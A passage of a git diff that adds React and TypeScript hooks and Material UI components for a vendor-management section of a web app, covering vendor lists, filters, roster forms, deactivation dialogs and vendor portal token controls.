VendorListItem) => void; + close: () => void; + confirm: () => void; +} + +export function useVendorDeactivation(): VendorDeactivationState { + const [target, setTarget] = useState(null); + const [error, setError] = useState(null); + const deleteVendor = useDeleteVendor(); + const { + data: impact, + isLoading, + error: impactError, + } = useVendorDeactivationImpact(target?.id ?? undefined); + + const open = (row: VendorListItem) => { + setTarget(row); + setError(null); + }; + + const close = () => { + setTarget(null); + setError(null); + }; + + const confirm = () => { + if (!target || target.id == null) return; + setError(null); + deleteVendor.mutate(target.id, { + onSuccess: () => setTarget(null), + onError: (err: Error) => setError(err.message || "Failed to deactivate vendor"), + }); + }; + + return { + target, + error, + impact, + isLoading, + impactError, + isSaving: deleteVendor.isPending, + open, + close, + confirm, + }; +} diff --git a/src/app/(protected)/vendors/_components/use-vendor-list-state.ts b/src/app/(protected)/vendors/_components/use-vendor-list-state.ts new file mode 100644 index 00000000..9385a834 --- /dev/null +++ b/src/app/(protected)/vendors/_components/use-vendor-list-state.ts @@ -0,0 +1,103 @@ +import { useMemo, useState } from "react"; +import { emptyVendorFilters, type VendorFilters } from "./vendor-filters"; +import { useDebounce } from "@/hooks/use-debounce"; + +export interface VendorListState { + search: string; + debouncedSearch: string; + page: number; + pageSize: number; + isActive: boolean; + appliedFilters: VendorFilters; + listParams: { + search: string; + page: number; + pageSize: number; + isActive: boolean; + companies: string[]; + trades: string[]; + locations: string[]; + jobBuckets: string[]; + }; + setSearchWithReset: (value: string) => void; + setPage: (page: number) => void; + setPageSizeWithReset: (size: number) => void; + setIsActiveWithReset: (isActive: boolean) => void; + setAppliedFiltersWithReset: (filters: VendorFilters) => void; + removeFilter: (category: keyof VendorFilters, value: string) => void; + clearFilters: () => void; +} + +export function useVendorListState(): VendorListState { + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [isActive, setIsActive] = useState(true); + const [appliedFilters, setAppliedFilters] = useState(emptyVendorFilters); + + const debouncedSearch = useDebounce(search, 300); + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + isActive, + companies: appliedFilters.companies, + trades: appliedFilters.trades, + locations: appliedFilters.locations, + jobBuckets: appliedFilters.jobBuckets, + }), + [debouncedSearch, page, pageSize, isActive, appliedFilters], + ); + + const setSearchWithReset = (value: string) => { + setSearch(value); + setPage(0); + }; + + const setPageSizeWithReset = (size: number) => { + setPageSize(size); + setPage(0); + }; + + const setIsActiveWithReset = (next: boolean) => { + setIsActive(next); + setPage(0); + }; + + const setAppliedFiltersWithReset = (filters: VendorFilters) => { + setAppliedFilters(filters); + setPage(0); + }; + + const removeFilter = (category: keyof VendorFilters, value: string) => { + setAppliedFilters((current) => ({ + ...current, + [category]: current[category].filter((item) => item !== value), + })); + setPage(0); + }; + + const clearFilters = () => { + setAppliedFilters(emptyVendorFilters); + setPage(0); + }; + + return { + search, + debouncedSearch, + page, + pageSize, + isActive, + appliedFilters, + listParams, + setSearchWithReset, + setPage, + setPageSizeWithReset, + setIsActiveWithReset, + setAppliedFiltersWithReset, + removeFilter, + clearFilters, + }; +} diff --git a/src/app/(protected)/vendors/_components/use-vendor-roster-form.ts b/src/app/(protected)/vendors/_components/use-vendor-roster-form.ts new file mode 100644 index 00000000..f6ea637a --- /dev/null +++ b/src/app/(protected)/vendors/_components/use-vendor-roster-form.ts @@ -0,0 +1,148 @@ +import { useCallback, useMemo, useState } from "react"; +import { useForm, useWatch, type FieldErrors } from "react-hook-form"; +import { + emptyVendorCompanyRosterForm, + vendorCompanyRosterSchema, + type VendorCompanyRosterFormValues, +} from "@/domain/vendors/schemas/vendor-roster-schema"; +import { useVendorCompanyRoster } from "@/domain/vendors/use-cases/use-vendor-company-roster"; +import { + getSingleStatusOnlyChange, + useSaveVendorCompanyRoster, +} from "@/domain/vendors/use-cases/use-save-vendor-company-roster"; +import { useVendorRosterResolver } from "./use-vendor-roster-resolver"; +import { toFormValues, useVendorRosterSelection } from "./use-vendor-roster-selection"; +import { useVendorFacets } from "@/domain/vendors/use-cases/use-vendor-facets"; +import { isVendorRosterConflictError } from "@/domain/vendors/lib/vendor-roster-conflict"; +import type { + VendorCompanyRoster, + VendorFacetCompany, + VendorRosterConflict, +} from "@/domain/vendors/types/vendor"; + +export interface VendorRosterFormProps { + mode: "create" | "update"; + vendorId?: string | number; + companyId?: string | number; + onSuccess?: (roster: VendorCompanyRoster) => void; +} + +export interface VendorRosterForm { + control: ReturnType>["control"]; + errors: FieldErrors; + handleSubmit: ReturnType>["handleSubmit"]; + isLoading: boolean; + isError: boolean; + error: Error | null; + isSaving: boolean; + isValid: boolean; + conflict: VendorRosterConflict | null; + loadErrorMessage: string | null; + submit: (values: VendorCompanyRosterFormValues) => void; + reload: () => void; + retryLoad: () => void; + roster: VendorCompanyRoster | undefined; + companies: VendorFacetCompany[]; + trades: string[]; + selectedCompanyId: string | number | null; + selectCompany: (company: VendorFacetCompany | null) => Promise; + clearSelectedCompany: (nextName?: string) => void; + resetForm: () => void; +} + +export function useVendorRosterForm({ + mode, + vendorId, + companyId, + onSuccess, +}: VendorRosterFormProps): VendorRosterForm { + const query = useVendorCompanyRoster( + mode === "update" ? vendorId : undefined, + mode === "update" ? companyId : undefined, + ); + const { data: facets } = useVendorFacets(); + const save = useSaveVendorCompanyRoster(); + const [conflict, setConflict] = useState(null); + + const routeRoster = mode === "update" ? query.data : undefined; + const companies = useMemo(() => facets?.companies ?? [], [facets]); + const trades = useMemo(() => facets?.trades ?? [], [facets]); + const resolver = useVendorRosterResolver(routeRoster); + + const form = useForm({ + resolver, + defaultValues: emptyVendorCompanyRosterForm, + values: mode === "update" && routeRoster ? toFormValues(routeRoster) : undefined, + mode: "onChange", + }); + const { control, handleSubmit, reset, formState } = form; + const watched = useWatch({ control }); + + const clearConflict = useCallback(() => setConflict(null), []); + const selection = useVendorRosterSelection({ + mode, + reset, + query, + clearConflict, + }); + const { resetSelection } = selection; + + const isValid = useMemo(() => { + if (vendorCompanyRosterSchema.safeParse(watched).success) return true; + return Boolean( + routeRoster && + getSingleStatusOnlyChange(routeRoster, watched as VendorCompanyRosterFormValues), + ); + }, [routeRoster, watched]); + + const resetForm = useCallback(() => { + reset(emptyVendorCompanyRosterForm); + resetSelection(); + clearConflict(); + }, [clearConflict, reset, resetSelection]); + + const committedRoster = mode === "update" ? routeRoster : selection.selectedRoster; + const isUpdate = mode === "update" || selection.selectedRoster != null; + + const submit = (formValues: VendorCompanyRosterFormValues) => { + setConflict(null); + save.mutate( + { + mode: isUpdate ? "update" : "create", + values: formValues, + companyId: isUpdate ? (committedRoster?.companyId ?? companyId) : undefined, + rowVersion: isUpdate ? committedRoster?.rowVersion : undefined, + originalRoster: mode === "update" ? routeRoster : undefined, + }, + { + onSuccess: (data) => onSuccess?.(data), + onError: (error) => { + if (isVendorRosterConflictError(error)) setConflict(error.conflict); + }, + }, + ); + }; + + return { + control, + errors: formState.errors, + handleSubmit, + isLoading: Boolean(query.isLoading), + isError: Boolean(query.isError), + error: query.error ?? null, + isSaving: save.isPending, + isValid, + conflict, + loadErrorMessage: selection.loadErrorMessage, + submit, + reload: selection.reload, + retryLoad: selection.retryLoad, + roster: routeRoster, + companies, + trades, + selectedCompanyId: selection.selectedCompanyId, + selectCompany: selection.selectCompany, + clearSelectedCompany: selection.clearSelectedCompany, + resetForm, + }; +} diff --git a/src/app/(protected)/vendors/_components/use-vendor-roster-resolver.ts b/src/app/(protected)/vendors/_components/use-vendor-roster-resolver.ts new file mode 100644 index 00000000..12e1810a --- /dev/null +++ b/src/app/(protected)/vendors/_components/use-vendor-roster-resolver.ts @@ -0,0 +1,27 @@ +import { useMemo } from "react"; +import { type Resolver } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { + vendorCompanyRosterSchema, + type VendorCompanyRosterFormValues, +} from "@/domain/vendors/schemas/vendor-roster-schema"; +import { getSingleStatusOnlyChange } from "@/domain/vendors/use-cases/use-save-vendor-company-roster"; +import type { VendorCompanyRoster } from "@/domain/vendors/types/vendor"; + +export function useVendorRosterResolver( + routeRoster: VendorCompanyRoster | undefined, +): Resolver { + const strictResolver = useMemo(() => zodResolver(vendorCompanyRosterSchema), []); + return useMemo>( + () => async (values, context, options) => { + if ( + routeRoster && + getSingleStatusOnlyChange(routeRoster, values as VendorCompanyRosterFormValues) + ) { + return { values, errors: {} }; + } + return strictResolver(values, context, options); + }, + [routeRoster, strictResolver], + ); +} diff --git a/src/app/(protected)/vendors/_components/use-vendor-roster-selection.ts b/src/app/(protected)/vendors/_components/use-vendor-roster-selection.ts new file mode 100644 index 00000000..cce00e18 --- /dev/null +++ b/src/app/(protected)/vendors/_components/use-vendor-roster-selection.ts @@ -0,0 +1,172 @@ +import { useCallback, useRef, useState } from "react"; +import { useQueryClient, type UseQueryResult } from "@tanstack/react-query"; +import { + emptyVendorCompanyRosterForm, + type VendorCompanyRosterFormValues, +} from "@/domain/vendors/schemas/vendor-roster-schema"; +import { vendorCompanyRosterApi } from "@/domain/vendors/api/vendor-company-roster-api"; +import { queryKeys } from "@/infra/query-key/query-key"; +import type { VendorCompanyRoster, VendorFacetCompany } from "@/domain/vendors/types/vendor"; +import type { UseFormReset } from "react-hook-form"; + +const SELECT_ERROR_MESSAGE = "Couldn't load that company's roster. Try again."; +const RELOAD_ERROR_MESSAGE = "Couldn't reload the latest company. Try again."; + +export interface VendorRosterSelection { + selectedRoster: VendorCompanyRoster | null; + loadErrorMessage: string | null; + selectedCompanyId: string | number | null; + selectCompany: (company: VendorFacetCompany | null) => Promise; + clearSelectedCompany: (nextName?: string) => void; + reload: () => void; + retryLoad: () => void; + resetSelection: () => void; +} + +interface UseVendorRosterSelectionOptions { + mode: "create" | "update"; + reset: UseFormReset; + query: UseQueryResult; + clearConflict: () => void; +} + +export function toFormValues(roster: VendorCompanyRoster): VendorCompanyRosterFormValues { + return { + name: roster.name, + companyPhone: roster.companyPhone, + email: roster.email, + address: roster.address, + city: roster.city, + state: roster.state, + zip: roster.zip, + googleMapsUrl: roster.googleMapsUrl, + notes: roster.notes, + technicians: roster.technicians.map((technician) => ({ + id: technician.id, + contactName: technician.contactName, + phone: technician.phone, + email: technician.email, + preferredContact: technician.preferredContact, + tradeSpecialties: technician.tradeSpecialties, + isActive: technician.isActive, + })), + }; +} + +export function useVendorRosterSelection({ + mode, + reset, + query, + clearConflict, +}: UseVendorRosterSelectionOptions): VendorRosterSelection { + const queryClient = useQueryClient(); + const [selectedRoster, setSelectedRoster] = useState(null); + const [loadErrorMessage, setLoadErrorMessage] = useState(null); + const retryTargetRef = useRef< + { kind: "select"; company: VendorFacetCompany } | { kind: "reload" } | null + >(null); + const requestIdRef = useRef(0); + + const fetchRosterByCompany = useCallback( + async (id: string | number): Promise => + queryClient.fetchQuery({ + queryKey: queryKeys.vendors.roster("companyId", id), + queryFn: () => vendorCompanyRosterApi.get({ companyId: id }), + }), + [queryClient], + ); + + const selectCompany = useCallback( + async (company: VendorFacetCompany | null) => { + if (!company || company.companyId == null) { + requestIdRef.current += 1; + setSelectedRoster(null); + setLoadErrorMessage(null); + retryTargetRef.current = null; + return; + } + const requestId = (requestIdRef.current += 1); + setLoadErrorMessage(null); + retryTargetRef.current = { kind: "select", company }; + try { + const roster = await fetchRosterByCompany(company.companyId); + if (requestIdRef.current !== requestId) return; + reset(toFormValues(roster)); + setSelectedRoster(roster); + clearConflict(); + retryTargetRef.current = null; + } catch { + if (requestIdRef.current !== requestId) return; + setLoadErrorMessage(SELECT_ERROR_MESSAGE); + } + }, + [clearConflict, fetchRosterByCompany, reset], + ); + + const clearSelectedCompany = useCallback( + (nextName = "") => { + requestIdRef.current += 1; + if (selectedRoster) { + reset({ ...emptyVendorCompanyRosterForm, name: nextName }); + } + setSelectedRoster(null); + clearConflict(); + setLoadErrorMessage(null); + retryTargetRef.current = null; + }, + [clearConflict, reset, selectedRoster], + ); + + const reload = useCallback(() => { + const requestId = (requestIdRef.current += 1); + clearConflict(); + setLoadErrorMessage(null); + retryTargetRef.current = { kind: "reload" }; + if (mode === "update") { + void query.refetch().then((result) => { + if (requestIdRef.current !== requestId) return; + if (result.isError) setLoadErrorMessage(RELOAD_ERROR_MESSAGE); + else retryTargetRef.current = null; + }); + return; + } + if (selectedRoster?.companyId != null) { + void fetchRosterByCompany(selectedRoster.companyId) + .then((roster) => { + if (requestIdRef.current !== requestId) return; + reset(toFormValues(roster)); + setSelectedRoster(roster); + retryTargetRef.current = null; + }) + .catch(() => { + if (requestIdRef.current !== requestId) return; + setLoadErrorMessage(RELOAD_ERROR_MESSAGE); + }); + } + }, [clearConflict, fetchRosterByCompany, mode, query, reset, selectedRoster]); + + const retryLoad = useCallback(() => { + const target = retryTargetRef.current; + if (!target) return; + if (target.kind === "select") void selectCompany(target.company); + else void reload(); + }, [reload, selectCompany]); + + const resetSelection = useCallback(() => { + requestIdRef.current += 1; + setSelectedRoster(null); + setLoadErrorMessage(null); + retryTargetRef.current = null; + }, []); + + return { + selectedRoster, + loadErrorMessage, + selectedCompanyId: selectedRoster?.companyId ?? null, + selectCompany, + clearSelectedCompany, + reload, + retryLoad, + resetSelection, + }; +} diff --git a/src/app/(protected)/vendors/_components/vendor-create-modal.tsx b/src/app/(protected)/vendors/_components/vendor-create-modal.tsx new file mode 100644 index 00000000..d0025662 --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-create-modal.tsx @@ -0,0 +1,83 @@ +import { useEffect } from "react"; +import { + Box, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Stack, + Typography, +} from "@mui/material"; +import { VendorRosterConflictAlert } from "./vendor-roster-conflict-alert"; +import { VendorRosterFormFields } from "./vendor-roster-form-fields"; +import { VendorRosterLoadErrorAlert } from "./vendor-roster-load-error"; +import { useVendorRosterForm } from "./use-vendor-roster-form"; + +interface VendorCreateModalProps { + open: boolean; + onClose: () => void; +} + +export function VendorCreateModal({ open, onClose }: VendorCreateModalProps) { + const form = useVendorRosterForm({ mode: "create", onSuccess: onClose }); + const { resetForm } = form; + + useEffect(() => { + if (!open) resetForm(); + }, [open, resetForm]); + + return ( + + + Add Vendor Company + + Register a company and add zero, one, or multiple technicians. + + + + + {form.loadErrorMessage !== null && ( + + )} + {form.conflict !== null && ( + + )} + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-deactivation-dialog.tsx b/src/app/(protected)/vendors/_components/vendor-deactivation-dialog.tsx new file mode 100644 index 00000000..cf673b6c --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-deactivation-dialog.tsx @@ -0,0 +1,126 @@ +import { + Alert, + Box, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + List, + ListItem, + Stack, + Typography, +} from "@mui/material"; +import type { VendorDeactivationImpact, VendorListItem } from "@/domain/vendors/types/vendor"; + +interface VendorDeactivationDialogProps { + target: VendorListItem | null; + isLoading: boolean; + isSaving: boolean; + error: string | null; + impact: VendorDeactivationImpact | undefined; + impactError: Error | null; + onClose: () => void; + onConfirm: () => void; +} + +export function VendorDeactivationDialog({ + target, + isLoading, + isSaving, + error, + impact, + impactError, + onClose, + onConfirm, +}: VendorDeactivationDialogProps) { + const hasBlockingImpact = Boolean(impact && !impact.canDeactivate); + + return ( + + Deactivate Vendor + + + + Deactivate "{target?.companyName}"? Existing work-order and audit history will + be preserved. + + + {isLoading && ( + + + + Checking linked work orders... + + + )} + + {Boolean(impactError) && !isLoading && ( + + Could not verify linked work orders. Close and try again. + + )} + + {impact != null && !isLoading && !impact.canDeactivate && ( + + This vendor cannot be deactivated because it still has open work orders. + + )} + + {impact != null && impact.openWorkOrders.length > 0 && ( + + + Open work orders ({impact.openWorkOrders.length}) + + + {impact.openWorkOrders.map((wo) => ( + + {wo.scheduledDate} + + ) : undefined + } + > + + + {wo.workOrderNumber + ? `${wo.workOrderNumber} — ${wo.workOrderTitle || "Untitled"}` + : wo.workOrderTitle || `Work order ${wo.workOrderId}`} + + {Boolean(wo.status) && ( + + {wo.status} + + )} + + + ))} + + + )} + + {Boolean(error) && {error}} + + + + + + + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-detail-drawer.tsx b/src/app/(protected)/vendors/_components/vendor-detail-drawer.tsx new file mode 100644 index 00000000..ad7ffa29 --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-detail-drawer.tsx @@ -0,0 +1,332 @@ +import { useEffect, type ReactNode } from "react"; +import { useNavigate } from "react-router"; +import CloseIcon from "@mui/icons-material/Close"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import LaunchIcon from "@mui/icons-material/Launch"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Divider, + Drawer, + IconButton, + Link, + List, + ListItem, + Stack, + Typography, +} from "@mui/material"; +import { useVendorCompanyRoster } from "@/domain/vendors/use-cases/use-vendor-company-roster"; +import type { VendorCompanyRoster, VendorListItem } from "@/domain/vendors/types/vendor"; + +const DRAWER_WIDTH = 440; + +function splitTrades(value: string | undefined): string[] { + return (value ?? "") + .split(",") + .map((trade) => trade.trim()) + .filter(Boolean); +} + +interface VendorDetailDrawerProps { + open: boolean; + vendor: VendorListItem | null; + onClose: () => void; +} + +function SectionTitle({ children }: { children: ReactNode }) { + return ( + + {children} + + ); +} + +function Field({ label, value }: { label: string; value: string }) { + const display = value && value.trim() !== "" ? value : "—"; + return ( + + + {label} + + {display} + + ); +} + +function TechnicianEntry({ + contactName, + phone, + email, + preferredContact, + tradeSpecialties, + isActive, + totalJobs, +}: { + contactName: string; + phone: string; + email: string; + preferredContact?: string; + tradeSpecialties: string; + isActive: boolean; + totalJobs: number; +}) { + const trades = splitTrades(tradeSpecialties); + return ( + + + + + {contactName || "—"} + + + + {totalJobs} jobs + + + + {Boolean(phone) && ( + + {phone} + + )} + {Boolean(email) && ( + + {email} + + )} + + + {Boolean(preferredContact) && ( + + Prefers {preferredContact} + + )} + {trades.map((trade, index) => ( + + ))} + + + + ); +} + +function DrawerHeader({ + roster, + vendor, + onClose, +}: { + roster?: VendorCompanyRoster; + vendor: VendorListItem | null; + onClose: () => void; +}) { + return ( + `1px solid ${theme.palette.divider}`, + }} + > + + + {roster?.name || vendor?.companyName || "Vendor company"} + + + {roster ? `${roster.technicians.length} technician(s)` : "Vendor details"} + + + + + + + ); +} + +function CompanySection({ roster }: { roster: VendorCompanyRoster }) { + const mapsUrl = roster.googleMapsUrl; + return ( + + + + + {Boolean(mapsUrl) && ( + + + Open in Google Maps + + )} + + ); +} + +function TechniciansSection({ roster }: { roster: VendorCompanyRoster }) { + return ( + + Technicians + {roster.technicians.length === 0 ? ( + + No technicians assigned to this company. + + ) : ( + + {roster.technicians.map((technician) => ( + + ))} + + )} + + ); +} + +function DrawerBody({ roster }: { roster: VendorCompanyRoster }) { + return ( + + Company + + + + {Boolean(roster.notes) && ( + <> + + + Notes + + {roster.notes} + + + + )} + + ); +} + +function DrawerActions({ onEdit }: { onEdit: () => void }) { + return ( + `1px solid ${theme.palette.divider}`, + alignItems: "center", + justifyContent: "flex-end", + }} + > + + + ); +} + +export function VendorDetailDrawer({ open, vendor, onClose }: VendorDetailDrawerProps) { + const navigate = useNavigate(); + const vendorId = vendor?.id; + const companyId = vendor?.companyId; + const hasVendorId = vendorId != null; + const { + data: roster, + isLoading, + error, + } = useVendorCompanyRoster( + hasVendorId ? vendorId : undefined, + !hasVendorId ? (companyId ?? undefined) : undefined, + ); + + const editHref = hasVendorId + ? `/vendors/edit/${vendorId}` + : `/vendors/company/${companyId ?? ""}`; + + useEffect(() => { + if (!open) return; + + const closeOnEscape = (event: KeyboardEvent) => { + if (event.key === "Escape") onClose(); + }; + + window.addEventListener("keydown", closeOnEscape); + return () => window.removeEventListener("keydown", closeOnEscape); + }, [onClose, open]); + + return ( + + + + + {isLoading ? ( + + + + ) : error ? ( + + Failed to load vendor company. Try again. + + ) : roster ? ( + <> + + navigate(editHref)} /> + + ) : ( + + + No vendor selected. + + + )} + + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-filters-drawer.tsx b/src/app/(protected)/vendors/_components/vendor-filters-drawer.tsx new file mode 100644 index 00000000..ae4b51ba --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-filters-drawer.tsx @@ -0,0 +1,316 @@ +import { useEffect, useMemo, useState, type ReactNode } from "react"; +import BusinessOutlinedIcon from "@mui/icons-material/BusinessOutlined"; +import BuildOutlinedIcon from "@mui/icons-material/BuildOutlined"; +import CloseIcon from "@mui/icons-material/Close"; +import ExpandMoreIcon from "@mui/icons-material/ExpandMore"; +import LocationOnOutlinedIcon from "@mui/icons-material/LocationOnOutlined"; +import TagOutlinedIcon from "@mui/icons-material/TagOutlined"; +import { + Accordion, + AccordionDetails, + AccordionSummary, + Autocomplete, + Box, + Button, + Checkbox, + Chip, + Drawer, + IconButton, + Stack, + TextField, + Typography, +} from "@mui/material"; +import type { + VendorFacets, + VendorFacetCompany, + VendorFacetJobBucket, + VendorFacetLocation, +} from "@/domain/vendors/types/vendor"; +import { emptyVendorFilters, type VendorFilters } from "./vendor-filters"; + +interface VendorFiltersDrawerProps { + open: boolean; + onClose: () => void; + facets: VendorFacets | undefined; + appliedFilters: VendorFilters; + onApply: (filters: VendorFilters) => void; +} + +const DRAWER_WIDTH = 360; + +function FilterSection({ + title, + icon, + children, +}: { + title: string; + icon: ReactNode; + children: ReactNode; +}) { + return ( + + } aria-controls={`${title}-filters-content`}> + + {icon} + + {title} + + + + + {children} + + + ); +} + +export function VendorFiltersDrawer({ + open, + onClose, + facets, + appliedFilters, + onApply, +}: VendorFiltersDrawerProps) { + const [draft, setDraft] = useState(appliedFilters); + + useEffect(() => { + if (open) { + setDraft(appliedFilters); + } + }, [open, appliedFilters]); + + const companyOptions = useMemo(() => facets?.companies ?? [], [facets]); + const tradeOptions = useMemo(() => facets?.trades ?? [], [facets]); + const locationOptions = useMemo(() => facets?.locations ?? [], [facets]); + const jobBucketOptions = useMemo(() => facets?.jobBuckets ?? [], [facets]); + + const activeCount = + draft.companies.length + draft.trades.length + draft.locations.length + draft.jobBuckets.length; + + const handleClear = () => { + setDraft(emptyVendorFilters); + }; + + const handleApply = () => { + onApply(draft); + onClose(); + }; + + return ( + + + `1px solid ${theme.palette.divider}`, + }} + > + + + Filters + + {activeCount > 0 && } + + + + + + + + }> + + + Select vendor companies + + + + (typeof option === "string" ? option : option.name)} + isOptionEqualToValue={(option, value) => + typeof option === "string" || typeof value === "string" + ? option === value + : option.name === value.name + } + value={companyOptions.filter((option) => draft.companies.includes(option.name))} + onChange={(_event, value) => { + const next = (value as (string | VendorFacetCompany)[]).map((entry) => + typeof entry === "string" ? entry : entry.name, + ); + setDraft((current) => ({ ...current, companies: next })); + }} + renderOption={(props, option, { selected }) => { + const { key, ...optionProps } = props; + return ( +
  • + + {option.name} +
  • + ); + }} + renderValue={(value, getItemProps) => + value.map((option, index) => { + const label = typeof option === "string" ? option : option.name; + const tagProps = getItemProps({ index }); + const { key, ...chipProps } = tagProps; + return ; + }) + } + renderInput={(params) => ( + + )} + /> +
    + + }> + + setDraft((current) => ({ ...current, trades: value as string[] })) + } + renderValue={(value, getItemProps) => + value.map((option, index) => { + const tagProps = getItemProps({ index }); + const { key, ...chipProps } = tagProps; + return ; + }) + } + renderInput={(params) => ( + + )} + /> + + + }> + (typeof option === "string" ? option : option.label)} + isOptionEqualToValue={(option, value) => + typeof option === "string" || typeof value === "string" + ? option === value + : option.label === value.label + } + value={locationOptions.filter((option) => draft.locations.includes(option.label))} + onChange={(_event, value) => { + const next = (value as (string | VendorFacetLocation)[]).map((entry) => + typeof entry === "string" ? entry : entry.label, + ); + setDraft((current) => ({ ...current, locations: next })); + }} + renderValue={(value, getItemProps) => + value.map((option, index) => { + const label = typeof option === "string" ? option : option.label; + const tagProps = getItemProps({ index }); + const { key, ...chipProps } = tagProps; + return ; + }) + } + renderInput={(params) => ( + + )} + /> + + + }> + (typeof option === "string" ? option : option.label)} + isOptionEqualToValue={(option, value) => + typeof option === "string" || typeof value === "string" + ? option === value + : option.id === value.id + } + value={jobBucketOptions.filter((option) => draft.jobBuckets.includes(option.id))} + onChange={(_event, value) => { + const next = (value as (string | VendorFacetJobBucket)[]).map((entry) => + typeof entry === "string" ? entry : entry.id, + ); + setDraft((current) => ({ ...current, jobBuckets: next })); + }} + renderValue={(value, getItemProps) => + value.map((option, index) => { + const label = typeof option === "string" ? option : option.label; + const tagProps = getItemProps({ index }); + const { key, ...chipProps } = tagProps; + return ; + }) + } + renderInput={(params) => ( + + )} + /> + +
    + + `1px solid ${theme.palette.divider}`, + }} + > + + + +
    +
    + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-filters.ts b/src/app/(protected)/vendors/_components/vendor-filters.ts new file mode 100644 index 00000000..3c236daa --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-filters.ts @@ -0,0 +1,13 @@ +export interface VendorFilters { + companies: string[]; + trades: string[]; + locations: string[]; + jobBuckets: string[]; +} + +export const emptyVendorFilters: VendorFilters = { + companies: [], + trades: [], + locations: [], + jobBuckets: [], +}; diff --git a/src/app/(protected)/vendors/_components/vendor-portal-token-panel.tsx b/src/app/(protected)/vendors/_components/vendor-portal-token-panel.tsx new file mode 100644 index 00000000..b50ec833 --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-portal-token-panel.tsx @@ -0,0 +1,183 @@ +import { useState } from "react"; +import { + Alert, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + Paper, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { + useGenerateVendorPortalToken, + useRevokeVendorPortalToken, + useRotateVendorPortalToken, + useVendorPortalToken, +} from "@/domain/vendors/use-cases/use-vendor-portal-token"; + +interface VendorPortalTokenPanelProps { + vendorId: string | number; +} + +export function VendorPortalTokenPanel({ vendorId }: VendorPortalTokenPanelProps) { + const { data: tokenInfo, isLoading, isError } = useVendorPortalToken(vendorId); + const rotate = useRotateVendorPortalToken(vendorId); + const revoke = useRevokeVendorPortalToken(vendorId); + const generate = useGenerateVendorPortalToken(vendorId); + + const [confirmAction, setConfirmAction] = useState<"rotate" | "revoke" | null>(null); + + const busy = rotate.isPending || revoke.isPending || generate.isPending; + + const copyUrl = async () => { + if (!tokenInfo?.portalUrl) return; + try { + await navigator.clipboard.writeText(tokenInfo.portalUrl); + } catch { + // clipboard may be unavailable + } + }; + + if (isLoading) { + return ( + + + + Loading portal link… + + + ); + } + + if (isError) { + return Failed to load portal token; + } + + if (!tokenInfo) { + return ( + + + Vendor Portal + + + No active portal link. Generate one so this vendor can access the portal. + + + + ); + } + + return ( + + + Vendor Portal + + + e.target.select()} + /> + + + + Issued {new Date(tokenInfo.issuedAt).toLocaleDateString()} + {" · "}Expires {new Date(tokenInfo.expiresAt).toLocaleDateString()} + {tokenInfo.lastUsedAt + ? ` · Last used ${new Date(tokenInfo.lastUsedAt).toLocaleString()}` + : " · Never used"} + + + + + + setConfirmAction(null)}> + Rotate Portal Token + + + Rotate the portal token? The previous link will stop working immediately. + + + + + + + + setConfirmAction(null)}> + Revoke Portal Tokens + + + Revoke all active portal tokens? The vendor will lose access until a new link is + generated. + + + + + + + + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-roster-conflict-alert.tsx b/src/app/(protected)/vendors/_components/vendor-roster-conflict-alert.tsx new file mode 100644 index 00000000..5a1ff44e --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-roster-conflict-alert.tsx @@ -0,0 +1,58 @@ +import { Alert, AlertTitle, Box, Button, List, ListItem, Stack, Typography } from "@mui/material"; +import RefreshIcon from "@mui/icons-material/Refresh"; +import type { VendorRosterConflict } from "@/domain/vendors/types/vendor"; + +interface VendorRosterConflictAlertProps { + conflict: VendorRosterConflict; + onReload: () => void; +} + +export function VendorRosterConflictAlert({ conflict, onReload }: VendorRosterConflictAlertProps) { + if (conflict.kind === "stale") { + return ( + } + action={ + + } + > + Someone else updated this company + {conflict.message} + + ); + } + + return ( + + Open work orders block this save + {conflict.message} + {conflict.blockedWorkOrders.length > 0 && ( + + + {conflict.blockedWorkOrders.map((workOrder) => ( + + + + {workOrder.workOrderNumber + ? `${workOrder.workOrderNumber} — ${workOrder.workOrderTitle || "Untitled"}` + : workOrder.workOrderTitle || `Work order ${workOrder.workOrderId}`} + + {Boolean(workOrder.status) && ( + + {workOrder.status} + {workOrder.scheduledDate ? ` · ${workOrder.scheduledDate}` : ""} + + )} + + + ))} + + Resolve these work orders, then save again. + + )} + + ); +} diff --git a/src/app/(protected)/vendors/_components/vendor-roster-form-fields.tsx b/src/app/(protected)/vendors/_components/vendor-roster-form-fields.tsx new file mode 100644 index 00000000..32f91675 --- /dev/null +++ b/src/app/(protected)/vendors/_components/vendor-roster-form-fields.tsx @@ -0,0 +1,386 @@ +import { Controller, useFieldArray, type Control, type FieldErrors } from "react-hook-form"; +import AddIcon from "@mui/icons-material/Add"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import { + Autocomplete, + Box, + Button, + Divider, + FormControlLabel, + IconButton, + Stack, + Switch, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import { VendorTradeSpecialtiesField } from "./vendor-trade-specialties-field"; +import { formatNorthAmericanPhone } from "@/lib/format/na-phone"; +import type { VendorCompanyRosterFormValues } from "@/domain/vendors/schemas/vendor-roster-schema"; +import type { RosterTechnicianValues } from "@/domain/vendors/schemas/vendor-roster-schema"; +import type { VendorFacetCompany } from "@/domain/vendors/types/vendor"; + +interface VendorRosterFormFieldsProps { + control: Control; + errors: FieldErrors; + companies?: VendorFacetCompany[]; + 